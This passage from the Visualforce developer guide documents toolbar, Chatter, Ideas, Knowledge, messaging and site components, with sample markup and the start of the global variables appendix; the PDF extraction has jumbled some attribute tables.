Description The JavaScript invoked if the user releases a keyboard key on an item in the toolbar that is not in a toolbarGroup component. The JavaScript invoked if the user clicks a mouse button on an item in the toolbar that is not in a toolbarGroup component. The JavaScript invoked if the user moves the mouse pointer while focused on an item in the toolbar that is not in a toolbarGroup component. The JavaScript invoked if the user moves the mouse pointer away from the an item in the toolbar that is not in a toolbarGroup component. The JavaScript invoked if the user moves the mouse pointer over an item in the toolbar that is not in a toolbarGroup component. The JavaScript invoked if the user releases a mouse button on an item in the toolbar that is not in a toolbarGroup component. The JavaScript invoked if the onkeydown event occurs--that is, if the user presses a keyboard key. The JavaScript invoked if the onkeypress event occurs--that is, if the user presses or holds down a keyboard key. The JavaScript invoked if the onkeyup event occurs--that is, if the user releases a keyboard key. The JavaScript invoked if the onmousedown event occurs--that is, if the user clicks a mouse button. The JavaScript invoked if the onmousemove event occurs--that is, if the user moves the mouse pointer. The JavaScript invoked if the onmouseout event occurs--that is, if the user moves the mouse pointer away from the toolbar. he JavaScript invoked if the onmouseover event occurs--that is, if the user moves the mouse pointer over the toolbar. The JavaScript invoked if the onmouseup event occurs--that is, if the user releases the mouse button. A Boolean value that species whether the toolbar is rendered on the page. If not specied, this value defaults to true. The style class used to display the toolbar component separator, used primarily to designate which CSS styles
String
onitemmousedown String
16.0
onitemmousemove String
16.0
onitemmouseout String
16.0
onitemmouseover String
16.0
onitemmouseup String
16.0
onkeydown onkeypress
String String
16.0 16.0
onmouseover
String
16.0
onmouseup rendered
String Boolean
separatorClass String
10.0
global
350
apex:toolbarGroup
Description are applied when using an external CSS stylesheet. See also the itemSeparator attribute.
style styleClass
String String
The style used to display the toolbar, used primarily for adding inline CSS styles. The style class used to display the toolbar, used primarily to designate which CSS styles are applied when using an external CSS stylesheet. The width of the toolbar, expressed as a relative percentage of the total width of the screen (for example, width="5%") or as an absolute number of pixels (for example, width="10px"). If not specied, this value defaults to 100%.
10.0 10.0
global global
width
String
10.0
global
apex:toolbarGroup
A group of components within a toolbar that can be aligned to the left or right of the toolbar. The <apex:toolbarGroup> component must be a child component of an <apex:toolbar>.
Example
<!-- Page: --> <apex:page id="thePage"> <apex:toolbar id="theToolbar"> <apex:outputText value="Sample Toolbar"/> <apex:toolbarGroup itemSeparator="line" id="toobarGroupLinks"> <apex:outputLink value="http://www.salesforce.com">salesforce</apex:outputLink> <apex:outputLink value="http://developer.salesforce.com">apex developer network</apex:outputLink> </apex:toolbarGroup> <apex:toolbarGroup itemSeparator="line" location="right" id="toobarGroupForm"> <apex:form id="theForm"> <apex:inputText id="theInputText">Enter Text</apex:inputText> <apex:commandLink value="search" id="theCommandLink"/> </apex:form> </apex:toolbarGroup> </apex:toolbar> </apex:page>
Attributes
Attribute Name Attribute Type
id
Description An identier that allows the toolbarGroup component to be referenced by other components in the page. The symbol used to separate toolbar components in the toolbarGroup. Possible values include "none", "line",
String
itemSeparator String
351
apex:toolbarGroup
Description "square", "disc", and "grid". If not specied, this value defaults to "none".
location
String
The position of the toolbarGroup in the toolbar. Possible values include "left" or "right". If not specied, this value defaults to "left". The JavaScript invoked if the onclick event occurs--that is, if the user clicks the toolbarGroup. The JavaScript invoked if the ondblclick event occurs--that is, if the user clicks the toolbarGroup twice. The JavaScript invoked if the onkeydown event occurs--that is, if the user presses a keyboard key. The JavaScript invoked if the onkeypress event occurs--that is, if the user presses or holds down a keyboard key. The JavaScript invoked if the onkeyup event occurs--that is, if the user releases a keyboard key. The JavaScript invoked if the onmousedown event occurs--that is, if the user clicks a mouse button. The JavaScript invoked if the onmousemove event occurs--that is, if the user moves the mouse pointer. The JavaScript invoked if the onmouseout event occurs--that is, if the user moves the mouse pointer away from the toolbarGroup component. The JavaScript invoked if the onmouseover event occurs--that is, if the user moves the mouse pointer over the toolbarGroup component. The JavaScript invoked if the onmouseup event occurs--that is, if the user releases the mouse button. A Boolean value that species whether the component is rendered on the page. If not specied, this value defaults to true. The style class used to display the toolbar component separator, used primarily to designate which CSS styles are applied when using an external CSS stylesheet. See also the itemSeparator attribute. The CSS style used to display the toolbar group, used primarily for adding inline CSS styles. The style class used to display the toolbar group, used primarily to designate which CSS styles are applied when using an external CSS stylesheet.
10.0
global
onmouseover
String
11.0
global
onmouseup rendered
String Boolean
11.0 10.0
global global
separatorClass String
10.0
global
style styleClass
String String
10.0 10.0
global global
352
apex:variable
apex:variable
A local variable that can be used as a replacement for a specied expression within the body of the component. Use <apex:variable> to reduce repetitive and verbose expressions within a page.
Example
<!-- For this example to render properly, you must associate the Visualforce page with a valid contact record in the URL. For example, if 001D000000IRt53 is the contact ID, the resulting URL should be: https://Salesforce_instance/apex/myPage?id=001D000000IRt53 See the Visualforce Developer's Guide Quick Start Tutorial for more information. --> <!-- Page: --> <apex:page controller="variableCon"> <apex:variable var="c" value="{!contact}" /> <p>Greetings, {!c.LastName}.</p> </apex:page> /*** Controller ***/ public class variableCon { Contact contact; public Contact getContact() { if (contact == null){ contact = [select LastName from Contact where id = :ApexPages.currentPage().getParameters().get('id')]; } return contact; } }
Attributes
Attribute Name Attribute Type
id rendered
Description An identier that allows the component to be referenced by other components in the page. A Boolean value that species whether the component is rendered on the page. If not specied, this value defaults to true. The expression that can be represented by the variable within the body of the variable component. The name of the variable that can be used to represent the value expression within the body of the variable component.
String Boolean
value var
Object String
Yes Yes
10.0 10.0
global global
353
apex:vote
apex:vote
A component that displays the vote control for an object that supports it.
Attributes
Attribute Name Attribute Type
id objectId rendered
Description An identier that allows the component to be referenced by other components in the page. An identier for the object to vote on. A Boolean value that species whether the component is rendered on the page. If not specied, this value defaults to true. The area(s) of the page that are refreshed when the action is taken.
Required? API Access Version 21.0 Yes 21.0 21.0 global global
rerender
String
21.0
chatter:feed
Displays the Chatter feed for a record. Note that Chatter components are unavailable for Visualforce pages on Force.com sites. Ext JS versions less than 3 should not be included on pages that use this component.
Attributes
Attribute Name Attribute Type
entityId id onComplete rendered
Description
Required? API Access Version 21.0 21.0 21.0 21.0 global global
Entity ID of the record for which to display the feed; for Yes example, Contact.Id An identier that allows the component to be referenced by other components in the page. The Javascript function to call after a post or comment is added to the feed A Boolean value that species whether the component is rendered on the page. If not specied, this value defaults to true. The ID of one or more components that are redrawn when the result of the action method returns to the client. This value can be a single ID, a comma-separated list of IDs, or a merge eld expression for a list or collection of IDs.
reRender
Object
21.0
354
chatter:feedWithFollowers
chatter:feedWithFollowers
An integrated UI component that displays the Chatter feed for a record, as well as its list of followers. Note that Chatter components are unavailable for Visualforce pages on Force.com sites. Ext JS versions less than 3 should not be included on pages that use this component.
Attributes
Attribute Name Attribute Type
entityId id onComplete rendered
Description
Required? API Access Version 21.0 21.0 21.0 21.0 global global
Entity ID of the record for which to display the feed; for Yes example, Contact.Id An identier that allows the component to be referenced by other components in the page. The JavaScript invoked when the result of an AJAX update request completes on the client A Boolean value that species whether the component is rendered on the page. If not specied, this value defaults to true. The ID of one or more components that are redrawn when the result of the action method returns to the client. This value can be a single ID, a comma-separated list of IDs, or a merge eld expression for a list or collection of IDs. Shows a metabar header that includes UI tags, a Show/Hide button, and a Follow/Unfollow button
reRender
Object
21.0
showHeader
Boolean
21.0
chatter:follow
Renders a button for a user to follow or unfollow a Chatter record. Note that Chatter components are unavailable for Visualforce pages on Force.com sites. Ext JS versions less than 3 should not be included on pages that use this component.
Attributes
Attribute Name Attribute Type
entityId id onComplete
Description Entity ID of the record for which to display the follow or unfollow button; for example, Contact.Id An identier that allows the component to be referenced by other components in the page. The Javascript function to call after the follow/unfollow event completes
id String String
355
chatter:followers
Description A Boolean value that species whether the component is rendered on the page. If not specied, this value defaults to true. The ID of one or more components that are redrawn when the result of the action method returns to the client. This value can be a single ID, a comma-separated list of IDs, or a merge eld expression for a list or collection of IDs.
Boolean
reRender
Object
21.0
chatter:followers
Displays the list of Chatter followers for a record. Note that Chatter components are unavailable for Visualforce pages on Force.com sites. Ext JS versions less than 3 should not be included on pages that use this component.
Attributes
Attribute Name Attribute Type
entityId id rendered
Description Entity ID of the record for which to display the list of followers; for example, Contact.Id An identier that allows the component to be referenced by other components in the page. A Boolean value that species whether the component is rendered on the page. If not specied, this value defaults to true.
Required? API Access Version Yes 21.0 21.0 21.0 global global
id String Boolean
flow:interview
This component embeds a Flow interview in the page
Example
<!-- Page: --> <apex:page controller="exampleCon"> <!-- embed a simple flow --> <flow:interview name="my_flow" interview="{!my_interview}"></flow:interview> <!-- get a variable from the embedded flow using my_interview.my_variable --> <apex:outputText value="here is my_variable : {!my_interview.my_variable}"/> </apex:page> /*** Controller ***/ public class exampleCon {
356
ideas:detailOutputLink
Attributes
Attribute Name Attribute Type
buttonStyle
Description Optional style applied to the command buttons the ow navigates when it nishes
Required? API Access Version 21.0 21.0 21.0 21.0 Yes 21.0 21.0 global global
String
finishLocation ApexPages.P ageReference A PageReference that can be used to determine where id interview name rendered
An identier that allows the component to be referenced by other components in the page. An object that can be used to represent the FlowInterview The developer name of the ow A Boolean value that species whether the component is rendered on the page. If not specied, this value defaults to true. The ID of one or more components that are redrawn when the result of the action method returns to the client. This value can be a single ID, a comma-separated list of IDs, or a merge eld expression for a list or collection of IDs. Should the help link be displayed
rerender
Object
21.0
showHelp
Boolean
21.0
ideas:detailOutputLink
A link to the page displaying an idea. Note: To use this component, please contact your salesforce.com representative and request that the Ideas extended standard controllers be enabled for your organization.
357
ideas:listOutputLink
</apex:pageBlock> </apex:page>
Attributes
Attribute Name Attribute Type
id ideaId page pageNumber
Description An identier that allows the component to be referenced by other components in the page. The ID for the idea to be displayed.
Required? API Access Version 21.0 Yes 21.0 21.0 21.0 global
String String
ApexPages.PageReference The Visualforce page whose URL is used for the output Yes link. This page must use the standard controller. Integer The desired page number for the comments on the idea detail page (50 per page). E.g. if there are 100 comments, pageNumber="2" would show comments 51-100. The desired page offset from the current page. If pageNumber is set, then the pageOffset value is not used. If neither pageNumber nor pageOffset are set, the resulting link does not have a page specied and the controller defaults to the rst page. A Boolean value that species whether the component is rendered on the page. If not specied, this value defaults to true. The style used to display the detailOutputLink component, used primarily for adding inline CSS styles. The style class used to display the detailOutputLink component, used primarily to designate which CSS styles are applied when using an external CSS stylesheet.
pageOffset
Integer
21.0
rendered
Boolean
21.0
global
style styleClass
String String
21.0 21.0
ideas:listOutputLink
A link to the page displaying a list of ideas. Note: To use this component, please contact your salesforce.com representative and request that the Ideas extended standard controllers be enabled for your organization.
358
ideas:listOutputLink
Comments</ideas:listOutputLink> </apex:pageBlock> <apex:pageBlock > <apex:dataList value="{!ideaList}" var="ideadata"> <apex:outputText value="{!ideadata.title}"/> </apex:dataList> </apex:pageBlock> </apex:page>
Attributes
Attribute Name Attribute Type
category communityId
Description The desired category for the list of ideas. The ID for the community in which the ideas are displayed. If communityID is not set, the community is defaulted to an active community accessible to the user. If the user has access to more than one community, the community whose name comes rst in the alphabet is used. An identier that allows the component to be referenced by other components in the page.
String String
id page
String
21.0 21.0
global
ApexPages.PageReference The Visualforce page whose URL is used for the output Yes link. This page must use the set oriented standard controller. Integer The desired page number for the list of ideas (20 per page). E.g. if there are 100 ideas, pageNumber="2" would show ideas 21-40. The desired page offset from the current page. If pageNumber is set, then the pageOffset value is not used. If neither pageNumber nor pageOffset are set, the resulting link does not have a page specied and the controller defaults to the rst page. A Boolean value that species whether the component is rendered on the page. If not specied, this value defaults to true. The desired sort for the list of ideas. Possible values include "popular", "recent", "top", and "comments." The desired status for the list of ideas. A Boolean value that species whether this component should reuse values for communityId, sort, category, and status that are used on the page containing this link. The style used to display the listOutputLink component, used primarily for adding inline CSS styles. The style class used to display the listOutputLink component, used primarily to designate which CSS styles are applied when using an external CSS stylesheet.
pageNumber
21.0
pageOffset
Integer
21.0
rendered
Boolean
21.0
global
sort status
String String
stickyAttributes Boolean
style styleClass
String String
21.0 21.0
359
ideas:proleListOutputLink
ideas:profileListOutputLink
A link to the page displaying a user's prole. Note: To use this component, please contact your salesforce.com representative and request that the Ideas extended standard controllers be enabled for your organization.
Attributes
Attribute Name Attribute Type
communityId
Description The ID for the community in which the ideas are displayed. If communityID is not set, the community is defaulted to an active community accessible to the user. If the user has access to more than one community, the community whose name comes rst in the alphabet is used. An identier that allows the component to be referenced by other components in the page.
String
id page
String
21.0 21.0
global
ApexPages.PageReference The Visualforce page whose URL is used for the output Yes link. This page must use the set oriented standard controller. Integer The desired page number for the list of ideas (20 per page). E.g. if there are 100 ideas, pageNumber="2" would show ideas 21-40. The desired page offset from the current page. If pageNumber is set, then the pageOffset value is not used. If neither pageNumber nor pageOffset are set, the resulting link does not have a page specied and the controller defaults to the rst page.
pageNumber
21.0
pageOffset
Integer
21.0
360
knowledge:articleCaseToolbar
Description A Boolean value that species whether the component is rendered on the page. If not specied, this value defaults to true. The desired sort for the list of ideas. Possible values include "ideas", "votes", and "recentReplies." A Boolean value that species whether this component should reuse values for userId, communityId, and sort that are used on the page containing this link. The style used to display the proleListOutputLink component, used primarily for adding inline CSS styles. The style class used to display the proleListOutputLink component, used primarily to designate which CSS styles are applied when using an external CSS stylesheet. The ID of the user whose prole is displayed.
Boolean
sort
String
21.0 21.0
stickyAttributes Boolean
style styleClass
String String
21.0 21.0
userId
String
21.0
knowledge:articleCaseToolbar
UI component used when an article is opened from the case detail page. This component shows current case information and lets the user attach the article to the case.
Attributes
Attribute Name Attribute Type
articleId caseId id includeCSS rendered
Description Id of the current article. Id of the current case. An identier that allows the component to be referenced by other components on the page. Species whether this component must include the CSS. Default is true. Species whether the component is rendered on the page. If not specied, this value defaults to true.
Required? API Access Version Yes Yes 21.0 21.0 21.0 21.0 21.0 global global
361
knowledge:articleList
knowledge:articleList
A loop on a ltered list of articles. You can call this component up to 4 times in the same page.
knowledge:articleList example that displays the ten most viewed articles in the 'phone' category as an HMTL list of links. 'phone' is in the 'products' category group.
<apex:outputPanel layout="block"> <ul> <knowledge:articleList articleVar="article" categories="products:phone" sortBy="mostViewed" pageSize="10" > <li><a href="{!URLFOR($Action.KnowledgeArticle.View, article.id)}">{!article.title}</a></li> </knowledge:articleList> </ul> </apex:outputPanel>
Attributes
Attribute Name Attribute Type
articleTypes articleVar categories hasMoreVar id keyword language pageNumber pageSize rendered
Required? API Access Version 21.0 21.0 21.0 21.0 21.0 21.0 21.0 21.0 21.0 21.0 global global
String String String String String String String Integer Integer Boolean
The name of the variable that can be used to represent Yes the article object in the body of the articleList component. The article list can be ltered by data categories. The boolean variable name indicating whether the list contains more articles. An identier that allows the component to be referenced by other components in the page. The search keyword if the search is not null. The language in which the articles must be retrieved. The current page number. The number of articles displayed at once. The total number of articles displayed in a page cannot exceed 200. A Boolean value that species whether the component is rendered on the page. If not specied, this value defaults to true. The sort value applied to the article list: 'mostViewed,' 'lastUpdated,' and 'title'.
sortBy
String
21.0
362
knowledge:articleRendererToolbar
knowledge:articleRendererToolbar
Displays a header toolbar for an article. This toolbar includes voting stars, a Chatter feed, a language picklist and a properties panel. Ext JS versions less than 3 should not be included on pages that use this component.
Attributes
Attribute Name Attribute Type
articleId canVote id includeCSS rendered
Description The id of the article. If true, the vote component is editable. If false, it is readonly. An identier that allows the component to be referenced by other components in the page. Species whether this component must include the CSS A Boolean value that species whether the component is rendered on the page. If not specied, this value defaults to true. Set this to true if Chatter is enabled, and the article renderer requires a feed
Required? API Access Version 21.0 21.0 21.0 21.0 21.0 global global
showChatter
Boolean
21.0
knowledge:articleTypeList
A loop on all available article types.
363
knowledge:categoryList
Attributes
Attribute Name Attribute Type
articleTypeVar String
Description
The name of the variable that can be used to represent Yes the article type object in the body of the articleTypeList component. An identier that allows the component to be referenced by other components in the page. A Boolean value that species whether the component is rendered on the page. If not specied, this value defaults to true.
id rendered
String Boolean
21.0 21.0
global global
knowledge:categoryList
A loop on a subset of the category hierarchy. The total number of categories displayed in a page cannot exceed 100.
This knowledge:categoryList example displays a list of all the descendents of the 'phone' category. The 'phone' category is in the 'product' category group.
<select name="category"> <knowledge:categoryList categoryVar="category" categoryGroup="product" rootCategory="phone" level="-1"> <option value="{!category.name}">{!category.label}</option> </knowledge:categoryList> </select>
Attributes
Attribute Name Attribute Type
ancestorsOf
Description If specied, the component will enumerate the category hierarchy up to the root (top-level) category. rootCategory can be used to specify the top-level category. The category group to which the individual categories belong. The name of the variable that can be used to represent the article type object in the body of the categoryList component. An identier that allows the component to be referenced by other components in the page. If specied with rootCategory, the component will stop at this specied depth in the category hierarchy. -1 means unlimited.
String
Yes Yes
21.0 21.0
String
id level
String Integer
21.0 21.0
global
364
messaging:attachment
Description A Boolean value that species whether the component is rendered on the page. If not specied, this value defaults to true. If specied without ancestorsOf, the component will loop on the descendents of this category.
Boolean
rootCategory
String
21.0
messaging:attachment
Compose an attachment and append it to the email.
Example
<messaging:emailTemplate recipientType="Contact" relatedToType="Account" subject="Case report for Account: {!relatedTo.name}" replyTo="[email protected]"> <messaging:htmlEmailBody> <html> <body> <p>Dear {!recipient.name},</p> <p>Attached is a list of cases related to {!relatedTo.name}.</p> <center> <apex:outputLink value="http://www.salesforce.com"> For more detailed information login to Salesforce.com </apex:outputLink> </center> </body> </html> </messaging:htmlEmailBody> <messaging:attachment renderAs="PDF" filename="yourCases.pdf"> <html> <body> <p>You can display your {!relatedTo.name} cases as a PDF</p> <table border="0" > <tr> <th>Case Number</th><th>Origin</th> <th>Creator Email</th><th>Status</th> </tr> <apex:repeat var="cx" value="{!relatedTo.Cases}"> <tr> <td><a href = "https://na1.salesforce.com/{!cx.id}">{!cx.CaseNumber} </a></td> <td>{!cx.Origin}</td> <td>{!cx.Contact.email}</td> <td>{!cx.Status}</td> </tr> </apex:repeat> </table> </body> </html> </messaging:attachment> </messaging:emailTemplate>
365
messaging:emailHeader
Attributes
Attribute Name Attribute Type
filename id inline renderAs
Description Sets a le name on the attachment. If a lename is not provided, one will be generated for you. An identier that allows the attachment component to be referenced by other components in the page. Sets the content-disposition of the attachment in the email to Inline. Indicates how the attachment should be rendered. Valid values are any mime type/subtype. The default value is 'text'. A Boolean value that species whether the component is rendered on the page. If not specied, this value defaults to true.
rendered
Boolean
21.0
global
messaging:emailHeader
Adds a custom header to the email. The body of a header is limited to 1000 characters.
Example
<messaging:emailTemplate recipientType="Contact" relatedToType="Account" subject="Testing a custom header" replyTo="[email protected]"> <messaging:emailHeader name="customHeader"> BEGIN CUSTOM HEADER Account Id: {!relatedTo.Id} END CUSTOM HEADER </messaging:emailHeader> <messaging:htmlEmailBody > <html> <body> <p>Dear {!recipient.name},</p> <p>Check out the header of this email!</p> </body> </html> </messaging:htmlEmailBody> </messaging:emailTemplate>
366
messaging:emailTemplate
Message-ID: <19677436.41233862559806.JavaMail.admin@admin-WS> Subject: Testing a custom header MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_Part_8_14667134.1233862559806" X-SFDC-X-customHeader: BEGIN CUSTOM HEADER Account Id: 001x000xxx3BIdoAAG END CUSTOM HEADER X-SFDC-LK: 00Dx000000099jh X-SFDC-User: 005x0000000upVu X-Sender: [email protected] X-mail_abuse_inquiries: http://www.salesforce.com/company/abuse.jsp X-SFDC-Binding: 1WrIRBV94myi25uB X-OriginalArrivalTime: 05 Feb 2009 19:35:59.0747 (UTC) FILETIME=[F8FF7530:01C987C8] X-MS-Exchange-Organization-SCL: 0
Attributes
Attribute Name Attribute Type
id name rendered
Description An identier that allows the emailHeader component to be referenced by other components in the page.
The name of the header. Note: X-SFDC-X- is prepended Yes to the name. A Boolean value that species whether the component is rendered on the page. If not specied, this value defaults to true.
messaging:emailTemplate
Denes a Visualforce email template. All email template tags must be wrapped inside a single emailTemplate component tag. emailTemplate must contain either an htmlEmailBody tag or a plainTextEmailBody tag. The detail and form components are not permitted as child nodes. This component can only be used within a Visualforce email template. Email templates can be created and managed through Setup | Communication Templates | Email Templates.
Example
<messaging:emailTemplate recipientType="Contact" relatedToType="Account" subject="Your account's cases" replyTo="[email protected]" > <messaging:htmlEmailBody > <html> <body> <p>Hello {!recipient.name}--</p> <p>Here is a list of the cases we currently have for account {!relatedTo.name}:</p> <apex:datatable cellpadding="5" var="cx" value="{!relatedTo.Cases}"> <apex:column value="{!cx.CaseNumber}" headerValue="Case Number"/> <apex:column value="{!cx.Subject}" headerValue="Subject"/> <apex:column value="{!cx.Contact.email}" headerValue="Creator's Email" /> <apex:column value="{!cx.Status}" headerValue="Status" /> </apex:datatable> </body> </html>
367
messaging:emailTemplate
</messaging:htmlEmailBody> <messaging:attachment renderas="pdf" filename="cases.pdf"> <html> <body> <h3>Cases currently associated with {!relatedTo.name}</h3> <apex:datatable border="2" cellspacing="5" var="cx" value="{!relatedTo.Cases}"> <apex:column value="{!cx.CaseNumber}" headerValue="Case Number"/> <apex:column value="{!cx.Subject}" headerValue="Subject"/> <apex:column value="{!cx.Contact.email}" headerValue="Creator's Email" /> <apex:column value="{!cx.Status}" headerValue="Status" /> </apex:datatable> </body> </html> </messaging:attachment> <messaging:attachment filename="cases.csv" > <apex:repeat var="cx" value="{!relatedTo.Cases}"> {!cx.CaseNumber}, {!cx.Subject}, {!cx.Contact.email}, {!cx.Status} </apex:repeat> </messaging:attachment> </messaging:emailTemplate>
Attributes
Attribute Name Attribute Type
id language
Description An identier that allows the emailTemplate component to be referenced by other components in the page. The language used to display the email template. Valid values: Salesforce.com-supported language keys, for example, "en" or "en-US". Accepts merge elds from recipientType and relatedToType. The Salesforce.com object receiving the email. The Salesforce.com object from which the template retrieves merge eld data. Valid objects: objects that have
String String
14.0 14.0
368
messaging:htmlEmailBody
rendered
Boolean
A Boolean value that species whether the component is rendered on the page. If not specied, this value defaults to true. Sets the reply-to email header. Sets the email subject line. Limit: 100 characters. Yes
21.0
global
replyTo subject
String String
14.0 14.0
messaging:htmlEmailBody
The HTML version of the email body.
Example
<messaging:emailTemplate recipientType="Contact" relatedToType="Account" subject="Case report for Account: {!relatedTo.name}" replyTo="[email protected]"> <messaging:htmlEmailBody> <html> <style type="text/css"> body {font-family: Courier; size: 12pt;} table { border-width: 5px; border-spacing: 5px; border-style: dashed; border-color: #FF0000; background-color: #FFFFFF; } td { border-width: 1px; padding: 4px; border-style: solid; border-color: #000000; background-color: #FFEECC; } th { color: #000000; border-width: 1px ; padding: 4px ; border-style: solid ; border-color: #000000; background-color: #FFFFF0; } </style> <body> <p>Dear {!recipient.name},</p> <p>Below is a list of cases related to {!relatedTo.name}.</p> <table border="0" > <tr>
369
messaging:plainTextEmailBody
<th>Case Number</th><th>Origin</th> <th>Creator Email</th><th>Status</th> </tr> <apex:repeat var="cx" value="{!relatedTo.Cases}"> <tr> <td><a href = "https://na1.salesforce.com/{!cx.id}">{!cx.CaseNumber} </a></td> <td>{!cx.Origin}</td> <td>{!cx.Contact.email}</td> <td>{!cx.Status}</td> </tr> </apex:repeat> </table> <p/> <center> <apex:outputLink value="http://www.salesforce.com"> For more detailed information login to Salesforce.com </apex:outputLink> </center> </body> </html> </messaging:htmlEmailBody> </messaging:emailTemplate>
Attributes
Attribute Name Attribute Type
id rendered
Description An identier that allows the htmlEmailBody component to be referenced by other components in the page. A Boolean value that species whether the component is rendered on the page. If not specied, this value defaults to true.
String Boolean
messaging:plainTextEmailBody
The plain text (non-HTML) version of the email body.
Example
<messaging:emailTemplate recipientType="Contact" relatedToType="Account" subject="Case report for Account: {!relatedTo.name}" replyTo="[email protected]"> <messaging:plainTextEmailBody> Dear {!recipient.name}, Below is a list of cases related to {!relatedTo.name}. <apex:repeat var="cx" value="{!relatedTo.Cases}"> Case Number: {!cx.CaseNumber} Origin: {!cx.Origin} Contact-email: {!cx.Contact.email}
370
site:googleAnalyticsTracking
Status: {!cx.Status} </apex:repeat> For more detailed information login to Salesforce.com </messaging:plainTextEmailBody> </messaging:emailTemplate>
Attributes
Attribute Name Attribute Type
id
Description An identier that allows the plainTextEmailBody component to be referenced by other components in the page. A Boolean value that species whether the component is rendered on the page. If not specied, this value defaults to true.
String
rendered
Boolean
21.0
global
site:googleAnalyticsTracking
The standard component used to integrate Google Analytics with Force.com sites to track and analyze site usage. Add this component just once, either on the site template for the pages you want to track, or the individual pages themselves. Don't set the component for both the template and the page. Attention: This component only works on pages used in a Force.com site. Sites must be enabled for your organization and the Analytics Tracking Code eld must be populated. To get a tracking code, go to the Google Analytics website.
Example
<!-- Google Analytics recommends adding the component at the bottom of the page to avoid increasing page load time. --> <site:googleAnalyticsTracking/>
<script type="text/javascript"> var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www."); document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E")); </script> <script> try { var pageTracker = _gat._getTracker("{!$Site.AnalyticsTrackingCode}"); if ({!isCustomWebAddressNull}) { pageTracker._setCookiePath("{!$Site.Prefix}/"); } else if ({!isCustomWebAddress}) {
371
site:previewAsAdmin
Attributes
Attribute Name Attribute Type
id rendered
Description An identier that allows the component to be referenced by other components in the page. A Boolean value that species whether the component is rendered on the page. If not specied, this value defaults to true.
String Boolean
site:previewAsAdmin
This component shows detailed error messages on a site in administrator preview mode. Starting with Summer '10, new organizations include this component by default. You must add the component manually to all custom error pages and pages from older organizations. We recommend that you add it right before the closing apex:page tag. Note: The site:previewAsAdmin component contains the apex:messages tag, so if you have that tag elsewhere on your error pages, you will see the error message twice.
Example
<!-- We recommend adding this component right before your closing apex:page tag. --> <site:previewAsAdmin/>
<span id="j_id0:j_id50"> <span id="j_id0:j_id50:j_id51:j_id52"> <div style="border-color:#FF9900; border-style:solid; border-width:1px; padding:5px 0px 5px 6px; background-color:#FFFFCC; font-size:10pt; margin-right:210px; margin-left:210px; margin-top:25px;"> <table cellpadding="0" cellspacing="0"> <tbody><tr> <td><img src="/img/sites/warning.gif" height="40" style="padding:5px;margin:0px;" width="40" /></td> <td> <strong><ul id="j_id0:j_id50:j_id51:msgs3" style="margin:5px;"><li>Page not found:test </li></ul> </strong>
372
site:previewAsAdmin
<a href="/sites/servlet.SiteDebugMode?logout=1" style="padding:40px;margin:15px;">Logout of Administrator Preview Mode</a> </td> </tr> </tbody> </table> </div> </span> </span>
Attributes
Attribute Name Attribute Type
id rendered
Description An identier that allows the component to be referenced by other components in the page. A Boolean value that species whether the component is rendered on the page. If not specied, this value defaults to true.
String Boolean
373
APPENDICES
Appendix
A
Global Variables, Functions, and Expression Operators
Visualforce pages use the same expression language as formulasthat is, anything inside {! } is evaluated as an expression that can access values from records that are currently in context. This appendix provides an overview of the variables, functions, and operators that can be used in Visualforce markup expressions: Global Variables Functions Expression Operators
Global Variables
You can use global variables to reference general information about the current user and your organization on a Visualforce page. All global variables must be included in expression syntax, for example, {!$User.Name}.
$Action
Description A global merge eld type to use when referencing standard Salesforce actions such as displaying the Accounts tab home page, creating new accounts, editing accounts, and deleting accounts. Use dot notation to specify an object and an action, for example,
$Action.Account.New
Use Example
374
Global Variables
$Api
Description Use Example A global merge eld type to use when referencing API URLs. Use dot notation to specify an API URL, or to return the session ID.
{!$Api.Session_ID}
$Component
Description Use A global merge eld type to use when referencing a Visualforce component. Each component in a Visualforce page has its own id attribute. When the page is rendered, this attribute is the same as the Document Object Model (DOM) ID.Use $Component.Id in JavaScript to reference a specic component on a page. The following JavaScript method references a component named msgpost in a Visualforce page:
function beforeTextSave() { document.getElementById('{!$component. msgpost}').value = myEditor.getEditorHTML(); }
Example
The page markup that follows shows the <apex:outputText> component to which msgpost refers:
<apex:page> <apex:outputText id="msgpost" value="Emad is great"/> </apex:page>
If your component is nested, you must declare the entire component tree. For example, if your page looks like this:
<apex:page> <apex:pageBlock id="theBlock"> <apex:pageBlockSection id="theSection" columns="1"> <apex:pageBlockSectionItem
375
Global Variables
$componentLabel
Description: Use: Visualforce Example: A global merge eld to use when referencing the label of an inputField component on a Visualforce page that is associated with a message. Return the label of an inputField component that is associated with a message.
<apex:datalist var="mess" value="{!messages}"> <apex:outputText value="{!mess.componentLabel}:" style="color:red/> <apex:outputText value="{!mess.detail}" style="color:black" /> </apex:datalist>
Tips:
$CurrentPage
Description Use A global merge eld type to use when referencing the current Visualforce page. Use this expression in a Visualforce page to access the current page parameters and values, the current page name ($CurrentPage.Name), or the URL of the current page ($CurrentPage.URL).
<apex:page standardController="Account"> <apex:pageBlock title="Hello {!$User.FirstName}!"> You belong to the {!account.name} account. </apex:pageBlock> <apex:detail subject="{!account}" relatedList="false"/> <apex:relatedList list="OpenActivities" subject="{!$CurrentPage.parameters.relatedId}" /> </apex:page>
Example
$Label
Description A global merge eld type to use when referencing a custom label in a Visualforce page.
376
Global Variables
Use
Use this expression in a Visualforce page to access a custom label. When the application server constructs the page to be presented to the end-users browser, the value returned depends upon the language setting of the contextual user. The value returned is one of the following, in order of precedence: 1. the local translation's text 2. the packaged translation's text 3. the master label's text
Example
$Label.Site
Description Use A global merge eld type to use when referencing a standard label in a Visualforce page. Like all standard labels, the text will display based on the user's language and locale. Use this expression in a Visualforce page to access a standard label. When the application server constructs the page to be presented to the end-users browser, the value returned depends on the language and locale of the user. Salesforce provides the following labels: Label authorization_required bandwidth_limit_exceeded change_password change_your_password click_forget_password community_nickname conrm_password down_for_maintenance email email_us enter_password error error2 le_not_found Message Authorization Required Bandwidth Limit Exceeded Change Password Change Your Password If you have forgotten your password, click Forgot Password to reset it. Nickname Conrm Password <i>{0}</i> is down for maintenance Email email us Did you forget your password? Please enter your username below. Error: {0} Error File Not Found
377
Global Variables
